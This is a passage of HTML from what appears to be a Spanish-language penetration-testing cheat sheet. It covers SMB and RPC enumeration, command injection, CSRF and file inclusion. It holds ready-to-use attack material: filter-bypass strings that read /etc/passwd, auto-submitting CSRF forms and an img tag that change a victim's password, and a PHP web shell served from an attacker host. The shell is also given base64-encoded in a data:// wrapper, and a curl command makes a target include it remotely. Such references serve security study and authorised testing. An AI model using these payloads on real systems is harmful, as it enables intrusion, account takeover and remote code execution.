style="color: rgb(165, 165, 165);">'username[%password]'<span
style="color: rgb(180, 109, 68);">]</span></span> <span
style="color: rgb(180, 109, 68);">//</span><span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span
style="color: rgb(167, 82, 33)">></span><span style="color: rgb(180, 109, 68);">/</span><span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">share</span><span style="color: rgb(167, 82, 33)">></span>
</p>
</div>
<br>
<div class="command_into_command3" style="font-weight: bold; margin-top: 10px;">
<p style="color: rgb(53, 81, 98);"># null session</p>
<p><span style="color: rgb(20, 115, 120);">smbmap</span> <span
style="color: rgb(180, 109, 68);">-H</span> <span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
</p>
<p style="color: rgb(53, 81, 98);"># authenticated</p>
<p><span style="color: rgb(20, 115, 120);">smbmap</span> <span
style="color: rgb(180, 109, 68);">-u</span> <span
style="color: rgb(165, 165, 165);">"username"</span> <span
style="color: rgb(180, 109, 68);">-p</span> <span
style="color: rgb(165, 165, 165);">"password"</span> <span
style="color: rgb(180, 109, 68);">-H</span> <span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
</p>
<p style="color: rgb(53, 81, 98);"># recursive/non-recursive listing</p>
<p><span style="color: rgb(20, 115, 120);">smbmap</span> <span
style="color: rgb(180, 109, 68);">[</span><span style="color: rgb(180, 109, 68);">-u</span>
<span style="color: rgb(165, 165, 165);">"username"</span> <span
style="color: rgb(180, 109, 68);">-p</span> <span
style="color: rgb(165, 165, 165);">"password"</span><span
style="color: rgb(180, 109, 68);">]</span> <span style="color: rgb(180, 109, 68);">-R/-r</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">share</span><span style="color: rgb(167, 82, 33)">></span>
<span style="color: rgb(180, 109, 68);">-H</span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
</p>
</div>
<br>
<div class="command_into_command3" style="font-weight: bold; margin-top: 10px;">
<p style="color: rgb(53, 81, 98);"># null session</p>
<p><span style="color: rgb(20, 115, 120);">crackmapexec</span> <span
style="color: rgb(180, 109, 68);">smb</span> <span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">IP</span><span style="color: rgb(167, 82, 33)">></span>
<span style="color: rgb(180, 109, 68);">-u</span> <span style="color: rgb(165, 165, 165);">''</span>
<span style="color: rgb(180, 109, 68);">-p</span> <span style="color: rgb(165, 165, 165);">''</span>
<span style="color: rgb(180, 109, 68);">--shares</span>
</p>
<p style="color: rgb(53, 81, 98);"># authenticated</p>
<p><span style="color: rgb(20, 115, 120);">crackmapexec</span> <span
style="color: rgb(180, 109, 68);">smb</span> <span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">IP</span><span style="color: rgb(167, 82, 33)">></span>
<span style="color: rgb(180, 109, 68);">-u</span> <span
style="color: rgb(165, 165, 165);">'username'</span> <span
style="color: rgb(180, 109, 68);">-p</span> <span
style="color: rgb(165, 165, 165);">'password'</span> <span
style="color: rgb(180, 109, 68);">--shares</span>
</p>
</div>
<br>
<div class="command_into_command3" style="font-weight: bold; margin-top: 10px;">
<p><span style="color: rgb(20, 115, 120);">nmap</span> <span style="color: rgb(180, 109, 68);">-p</span>
<span style="color: rgb(180, 109, 68);">139,445</span> <span
style="color: rgb(180, 109, 68);">--script</span> <span
style="color: rgb(165, 165, 165);">"smb-enum-shares"</span> <span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
</p>
</div>
<br><br>
<h3 style="font-weight: bold; font-size: 150%;">RPC</h3>
<br>
<p style="font-weight: bold;">Automated Enumeration</p>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">rpcdump.py</span> </span>
<span style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68)">target</span><span style="color: rgb(167, 82, 33)">></span>
</div>
<br>
<p style="font-weight: bold;">Manual Enumeration</p>
<br>
<div class="command_into_command3" style="font-weight: bold; margin-top: 10px;">
<p style="color: rgb(53, 81, 98);"># null session</p>
<p><span style="color: rgb(20, 115, 120);">rpcclient</span> <span
style="color: rgb(180, 109, 68);">-U</span> <span style="color: rgb(165, 165, 165);">""</span>
<span style="color: rgb(180, 109, 68);">-N</span> <span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
</p>
<p style="color: rgb(53, 81, 98);"># authenticated</p>
<p><span style="color: rgb(20, 115, 120);">rpcclient</span> <span
style="color: rgb(180, 109, 68);">-U</span> <span
style="color: rgb(165, 165, 165);">"username%passwd"</span>
<span style="color: rgb(180, 109, 68);">-N</span> <span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
</p>
<p style="color: rgb(53, 81, 98);"># commands
https://www.hackingarticles.in/active-directory-enumeration-rpcclient/</p>
<p><span style="color: rgb(20, 115, 120);">rpcclient</span> <span
style="color: rgb(180, 109, 68);">-U</span> <span
style="color: rgb(165, 165, 165);">'[username%passwd]'</span>
<span style="color: rgb(180, 109, 68);">-N</span> <span
style="color: rgb(167, 82, 33)"><</span><span
style="color: rgb(180, 109, 68);">target</span><span style="color: rgb(167, 82, 33)">></span>
<span style="color: rgb(180, 109, 68);">-c</span> <span style="color: rgb(165, 165, 165);">'<span
style="color: rgb(165, 165, 165)"><</span><span
style="color: rgb(165, 165, 165);">command</span><span
style="color: rgb(165, 165, 165)">></span>'</span>
</p>
</div>
</div>
<div id="command-injection" class="content-item">
<h2>$ Command Injection _</h2>
<br>
<p>La inyección de comandos es una vulnerabilidad que permite
la ejecución de comandos arbitrarios en el servidor host, lo que podría provocar acceso no autorizado,
robo de datos o compromiso del sistema.</p>
<br>
<h3 style="font-weight: bold; font-size: 150%;">Chaining and Invoking</h3>
<br>
<p>Se pueden combinar comandos (en sistemas Windows y Linux) utilizando estos operadores</p>
<div class="command_into_command3" style="font-weight: bold; margin-top: 10px;">
<p style="color: rgb(180, 109, 68);">; <span> </span><span style="color: rgb(53, 81, 98);"># Executes
one command
and
then another</span></p>
<p style="color: rgb(180, 109, 68);">& <span> </span><span style="color: rgb(53, 81, 98);"># Executes
a command in the background, followed by the other one</span></p>
<p style="color: rgb(180, 109, 68);">| <span> </span><span style="color: rgb(53, 81, 98);">#
Redirects the output the first command as input to the second command</span></p>
<p style="color: rgb(180, 109, 68);">&&<span> </span><span style="color: rgb(53, 81, 98);">#
Executes the second command if the first command succeeds</span></p>
<p style="color: rgb(180, 109, 68);">||<span> </span><span style="color: rgb(53, 81, 98);">#
Executes
the second command if the first command fails</span></p>
</div>
<br><br>
<p>También es posible inyectar comandos mediante sustitución de comandos, donde la salida de un comando se
captura y se utiliza en otro contexto.</p>
<br>
<div class="command_into_command3" style="font-weight: bold; margin-top: 10px;">
<p style="color: rgb(193, 193, 193);">$(<span style="color: rgb(83, 151, 193);">command</span>) <span>
</span><span style="color: rgb(53, 81, 98);">#
Both windows and linux systems</span></p>
<p style="color: rgb(193, 193, 193);">`<span style="color: rgb(83, 151, 193);">command</span>` <span>
</span><span style="color: rgb(53, 81, 98);">#
Only linux systems</span></p>
</div>
<br><br>
<h3 style="font-weight: bold; font-size: 150%;">Bypasses</h3>
<br>
<div class="box">
<span>• </span><a
href="https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions#common-limitations-bypasses"
target="_blank">HackTricks
Link</a>
<br><br>
<span>• </span><a
href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#filter-bypasses"
target="_blank">GitHub
Link</a>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">Space Bypass</h3>
<br>
<span>Es posible utilizar el</span> <span style="font-weight: bold;">Internal Field Separator</span> <span
class="nmap-box" style="font-weight: bold;">$IFS</span> <span>para evitar el uso de espacios en los
comandos.</span>
<br><br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">cat$</span><span
style="color: rgb(175, 175, 175);">{IFS}</span><span
style="color: rgb(20, 115, 120);">/etc/passwd</span>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">Blacklisted Words</h3>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(53, 81, 98); display: block; margin-top: 10px;"># Quotes</span>
<div style="margin-top: 10px;">
<span style="color: rgb(20, 115, 120); display: block;"><span
style="margin-right: 10px;">w'h'o'a'm'i'</span> <span>
</span> <span style="color: rgb(53, 81, 98);"># Both windows and linux
systems</span></span>
<span style="color: rgb(20, 115, 120); display: block;"><span
style="margin-right: 10px;">'w'h'o'a'm'i</span> <span> </span> <span
style="color: rgb(53, 81, 98);"># Only linux
systems</span></span>
<span style="color: rgb(20, 115, 120); display: block;"><span
style="margin-right: 10px;">wh''oami</span> <span> </span> <span
style="color: rgb(53, 81, 98);"># Both windows and
linux
systems</span></span>
</div>
<br>
<span style="color: rgb(53, 81, 98); display: block; margin-top: 10px;"># Backslashes</span>
<div style="margin-top: 10px;">
<span style="color: rgb(20, 115, 120); display: block;"><span
style="margin-right: 10px;">\w\h\o\a\m\i</span> <span> </span> <span
style="color: rgb(53, 81, 98);"># Only linux
systems</span></span>
<span style="color: rgb(20, 115, 120); display: block;"><span
style="margin-right: 10px;">w\h\o\a\m\i</span> <span> </span> <span
style="color: rgb(53, 81, 98);"># Only linux
systems</span></span>
</div>
<br>
<span style="color: rgb(53, 81, 98); display: block; margin-top: 10px;"># $()</span>
<div style="margin-top: 10px;">
<span style="color: rgb(20, 115, 120); display: block;"><span
style="margin-right: 10px;">wh$()oami</span> <span> </span> <span
style="color: rgb(53, 81, 98);"># Only linux
systems</span></span>
<span style="color: rgb(20, 115, 120); display: block;"><span style="margin-right: 10px;">wh$(echo
oa)mi</span> <span> </span><span style="color: rgb(53, 81, 98);"># Only linux
systems</span></span>
</div>
<br>
<span style="color: rgb(53, 81, 98); display: block; margin-top: 10px;"># ``</span>
<div style="margin-top: 10px;">
<span style="color: rgb(20, 115, 120); display: block;"><span
style="margin-right: 10px;">wh``oami</span> <span> </span> <span
style="color: rgb(53, 81, 98);"># Only linux
systems</span></span>
<span style="color: rgb(20, 115, 120); display: block;"><span style="margin-right: 10px;">wh`echo
oa`mi</span> <span> </span> <span style="color: rgb(53, 81, 98);"># Only linux
systems</span></span>
</div>
<br>
<span style="color: rgb(53, 81, 98); display: block; margin-top: 10px;"># $@</span>
<div style="margin-top: 10px;">
<span style="color: rgb(20, 115, 120); display: block;"><span
style="margin-right: 10px;">wh$@oami</span> <span> </span><span
style="color: rgb(53, 81, 98);"># Only linux systems</span></span>
</div>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">References</h3>
<br>
<div class="box">
<span>• </span><a
href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection"
target="_blank">GitHub
Link</a>
<br><br>
<span>• </span><a href="https://book.hacktricks.xyz/pentesting-web/command-injection"
target="_blank">HackTricks
Link</a>
</div>
</div>
<div id="csrf" class="content-item">
<h2>$ CSRF (Cross Site Request Forgery) _</h2>
<br>
<p>La falsificación de solicitudes entre sitios (CSRF) es una vulnerabilidad en la que un atacante engaña a
un usuario para que, sin saberlo, ejecute acciones en una aplicación web en la que está autenticado, lo
que lleva a que se realicen acciones no autorizadas sin el consentimiento o conocimiento del usuario.
</p>
<br>
<h3 style="font-weight: bold; font-size: 150%;">Payloads</h3>
<br>
<h3 style="font-weight: bold; font-size: 150%;">GET</h3>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(225, 225, 225); display: block; margin-top: 10px;"># Requires user
interaction</span>
<div style="margin-top: 10px;">
<span style="color: rgb(165, 165, 165)"><</span>a <span
style="color: rgb(20, 115, 120);">href</span><span
style="color: rgb(180, 109, 68);">=</span>"http://<span
style="color: rgb(165, 165, 165)"><</span>host<span
style="color: rgb(165, 165, 165)">></span>/changepasswd.php?pass=pass"<span
style="color: rgb(165, 165, 165)">></span>Click Me<span
style="color: rgb(165, 165, 165)"><</span>/a<span
style="color: rgb(165, 165, 165)">></span>
</div>
<br>
<span style="color: rgb(225, 225, 225); display: block; margin-top: 10px;"># No user interaction
required</span>
<div style="margin-top: 10px;">
<span style="color: rgb(165, 165, 165)"><</span>img <span
style="color: rgb(20, 115, 120);">src</span><span
style="color: rgb(180, 109, 68);">=</span>"http://<span
style="color: rgb(165, 165, 165)"><</span>host<span
style="color: rgb(165, 165, 165)">></span>/changepasswd.php?pass=pass"<span
style="color: rgb(165, 165, 165)">></span>
</div>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">POST</h3>
<br>
<div class="command" style="font-weight: bold;">
<form <span style="color: rgb(20, 115, 120);">id</span><span
style="color: rgb(180, 109, 68);">=</span>"form" <span
style="color: rgb(20, 115, 120);">action</span><span
style="color: rgb(180, 109, 68);">=</span>"http://<host>/changepasswd.php" <span
style="color: rgb(20, 115, 120);">method</span><span
style="color: rgb(180, 109, 68);">=</span>"POST"><br>
<input <span style="color: rgb(20, 115, 120);">name</span><span
style="color: rgb(180, 109, 68);">=</span>"pass" <span
style="color: rgb(20, 115, 120);">type</span><span
style="color: rgb(180, 109, 68);">=</span>"hidden" <span
style="color: rgb(20, 115, 120);">value</span><span style="color: rgb(180, 109, 68);">=</span>"pass"
/><br>
<input <span style="color: rgb(20, 115, 120);">type</span><span
style="color: rgb(180, 109, 68);">=</span>"submit" <span
style="color: rgb(20, 115, 120);">value</span><span
style="color: rgb(180, 109, 68);">=</span>"Submit" /><br>
</form><br><br>
<-- Auto submit --><br>
<script><br>
<span style="color: rgb(207, 149, 82);">document</span><span
style="color: rgb(20, 115, 120);">.getElementById</span>("form")<span
style="color: rgb(20, 115, 120);">.submit</span>();<br>
</script>
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">References</h3>
<br>
<div class="box">
<span>• </span><a
href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection"
target="_blank">GitHub
Link</a>
<br><br>
<span>• </span><a href="https://book.hacktricks.xyz/pentesting-web/csrf-cross-site-request-forgery"
target="_blank">HackTricks
Link</a>
</div>
</div>
<div id="file-inclusion" class="content-item">
<h2>$ File Inclusion _</h2>
<br>
<p>La inclusión de archivos locales (LFI) y la inclusión de archivos remotos (RFI) son vulnerabilidades de
aplicaciones web donde un atacante puede manipular rutas de archivos para incluir archivos, ya sea desde
el sistema local (LFI) o servidores remotos (RFI), lo que podría conducir a acceso o código no
autorizado. ejecución.
</p>
<br>
<h3 style="font-weight: bold; font-size: 150%;">Remote File Inclusion (RFI)</h3>
<br>
<p>Si encontramos una manera de incluir un archivo remoto, podríamos intentar incluir código php para
ejecutar comandos en el host.
</p>
<br>
<div class="command" style="font-weight: bold;">
<span>http://</span><span><</span><span>host</span><span>></span><span>/index.php?page=http://</span><span><</span><span>attacker</span><span>></span><span>/shell.txt</span>
</div>
<br>
<p>Podríamos servir un código PHP malicioso para que el host lo interprete.
</p>
<br>
<div class="command" style="font-weight: bold;">
<span style="color: rgb(20, 115, 120);">echo</span> '<span><?php system($_GET["cmd"]);?></span>'
<span style="color: rgb(167, 82, 33)">></span> <span
style="color: rgb(180, 109, 68);">shell.txt</span><br>
<span style="color: rgb(20, 115, 120);">python3</span> <span style="color: rgb(180, 109, 68);">-m
http.server</span> <span style="color: rgb(191, 151, 32);">80</span><br>
<div class="command_into_command" style="font-weight: bold;">
<span style="color: rgb(24, 63, 65);">curl</span>
'http://<host>/index.php?page=http://<attacker>/shell.txt&cmd=<comand>'
</div>
</div>
<br>
<span>Si el servidor estuviera bloqueando el acceso a recursos externos, podríamos intentar usar el
contenedor</span> <span class="nmap-box" style="font-weight: bold;">data://</span> <span>para inyectar
código PHP
como base64.</span>
<br><br>
<div class="command" style="font-weight: bold;">
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4K<br><br>
php://filter/convert.base64-<br>
decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4K
</div>
<br>
<h3 style="font-weight: bold; font-size: 150%;">Local File Inclusion (LFI)</h3>
<br>
<strong>Absolute Path
</strong>